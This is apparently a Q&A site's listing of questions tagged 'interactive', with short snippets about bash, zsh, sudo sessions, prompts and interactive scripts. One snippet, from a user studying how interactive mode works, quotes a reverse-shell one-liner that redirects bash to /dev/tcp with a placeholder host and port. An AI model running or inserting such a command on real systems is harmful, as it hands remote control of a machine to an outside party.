Questions tagged [interactive]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0
votes
1answer
103 views

Can you enumerate all the ways to start an interactive shell?

Bash manual says: An interactive shell is one started without non-option arguments, unless -s is specified, without specifying the -c option, and whose input and output are both connected to ...
0
votes
1answer
50 views

Start new shell with positional parameters

With Python, I can start a session with positional parameters: $ python3 - aa >>> import sys >>> sys.argv[1] 'aa' However it does not seem to be possible with shell: $ sh - aa sh: ...
0
votes
2answers
216 views

Why doesn't my bash include the interactive flag for this script?

Working with this answer I have tried this script to determine whether a script is being run from cron or interactively: #!/bin/bash # "reliable" interactive check case "$-" in *i*) ...
0
votes
2answers
2k views

Format zsh prompt according to the value of an environment variable

I want the color of my zsh prompt to be decided based on whether I'm inside a tmux session or not. In bash, it can be done by checking the value of $TMUX, but I can't find an equivalent method in zsh. ...
0
votes
3answers
8k views

Echo commands and output to file from interactive shell [closed]

I am looking for a graceful way to have bash write both the command I executed, followed by the output of that command to a file from an interactive prompt. Such that running a command like this: $...
0
votes
1answer
29 views

Enter subdirectory if current directory is empty

There is one thing that prevents me to discard my GUI-file manager for bash: Bash does not tab-complete to the only subdirectory in an empty directory. $ ls .. // is not displayed, when cmd is ...
0
votes
1answer
23 views

Is it possible to begin a sudo interactive session and also provide an initial command?

A lot of my workflow involves using a sudo interactive session (sudo -i) as a service user that is able to run certain things that my personal username can't. When I do this, I like to preserve my PS1 ...
0
votes
3answers
886 views

bash - Change line by line Interactively

I am new in bash scripting. I want to create an interactive script which is prompt user to enter data for editing a file line by line. The scenario: - Read a file and iterate over each line, I use ...
0
votes
1answer
1k views

Bash interactive mode on redirect

i have two questions about bash. I was looking into reverse shells, and the -i flag. When I do bash -i > /dev/tcp/ip/port 2>&1 0>&1, I get an interactive shell on the server machine, ...
0
votes
1answer
78 views

Interactive bash script: Prefix all lines with a string

I want to create an interactive CLI in bash. Similar to the way bash prefixes every line with user@host:~$, I would like to prefix every line with foobar>. This functionality can be seen in CLI ...
0
votes
1answer
337 views

Run bash subshell with commands as other user and not return to parent shell

As part of my quest to preserve bashrc and vimrc when switching to non-root users, I plan on making some super ugly aliases to switch to other users, immediately execute some commands, and then drop ...
0
votes
0answers
33 views

Executing a Program with input

I would like to be able to run a program and then feed that program some information all in one line on startup. Suppose I am in the working directory of the executable (sage), I can run ./sage -c "...
0
votes
0answers
24 views

sudo: limit interactive shells?

I have a third-party application that runs on Linux. The application runs as a specific (non-root) account and provides a quite complicated environment to that user. Without an interactive shell as ...
0
votes
0answers
31 views

Filter by default

I'd like to configure my interactive shell (e.g. bash), so that by default all command output will be piped to some filter, e.g. less. i.e., if I type # make it will automatically be interpreted as ...
0
votes
1answer
27 views

Launch interactive app from script

I have an application built in C that uses fgets to read user commands from stdin. I want my embedded linux system to launch this application on startup, and put the user in the terminal of this ...
0
votes
0answers
71 views

Zsh disable autofill

Zsh disable autofill If I open a terminal and enter: echo 'hello world' after that if i press e it "suggests" the previous command. How can I disable this? I tried this with no success: autoload ...
0
votes
0answers
154 views

History not working in a Dash i-shell (with Bash as a parent process)

My terminal initializes with Bash. I run dash and enter an interactive Dash shell. I run a few random commands and try to run history only for it to fail. I check if history is enabled and it ...
0
votes
0answers
693 views

How can I prompt users while running a playbook?

My needs: Write a playbook which can install apache if the user wants to, while the playbook is running by typing yes or no. apache_prompt.yml hosts: slaves vars_prompt: - name: ...
0
votes
0answers
91 views

How to write a shell script which adds a wildfly management user without interacting with the user?

When I run add-user script(/opt/wildfly/bin/add-user.sh) , it asks for various inputs 1> a. management user, b. application user 2> Username : 3> Password : 4> Are you sure you want to ...
0
votes
0answers
42 views

How do I copy to clipboard text I cut with Ctrl+U? [duplicate]

In an interactive shell session, how do I copy to clipboard text that was cut with Ctrl+U? Without using the mouse, obviously. Thus making it available for other GUI applications, instead of pastable ...
0
votes
1answer
93 views

Respond to interactive spawned child process

There's a command from Amazon Web Services called eb init that allows you to initiate the current working directory as a elasticbeanstalk app. This command is interactive, meaning eb init will ...
-1
votes
2answers
41 views

prompted, looped commands

Is there a general way to do unix command and loop it over a list of files. For example, let's imagine we wanted to move all the files (but not directories) in a directory to another directory, but ...
-1
votes
1answer
433 views

Issue running bash script as response to Interactive prompts

I am having some issues with running a shell script within an interactive prompt. The entire code works fine and if I replace the bash script with an echo 'hello world' line it works without any ...
-1
votes
1answer
467 views

Sub Directories in sub directory using loop

On my CentOS machine, I need to create a main directory inside which I will have a few sub directories and, inside them, some subsubdirectories. Something like: main_directory->sub1,sub2,sb3.. ...
-1
votes
2answers
2k views

csh if statement interactive use

Either there's something fishy with my Solaris 10 csh implementation of if statement or I don't get something right (of course the second is very well probable in my case at least) but when I do: % ...

1
2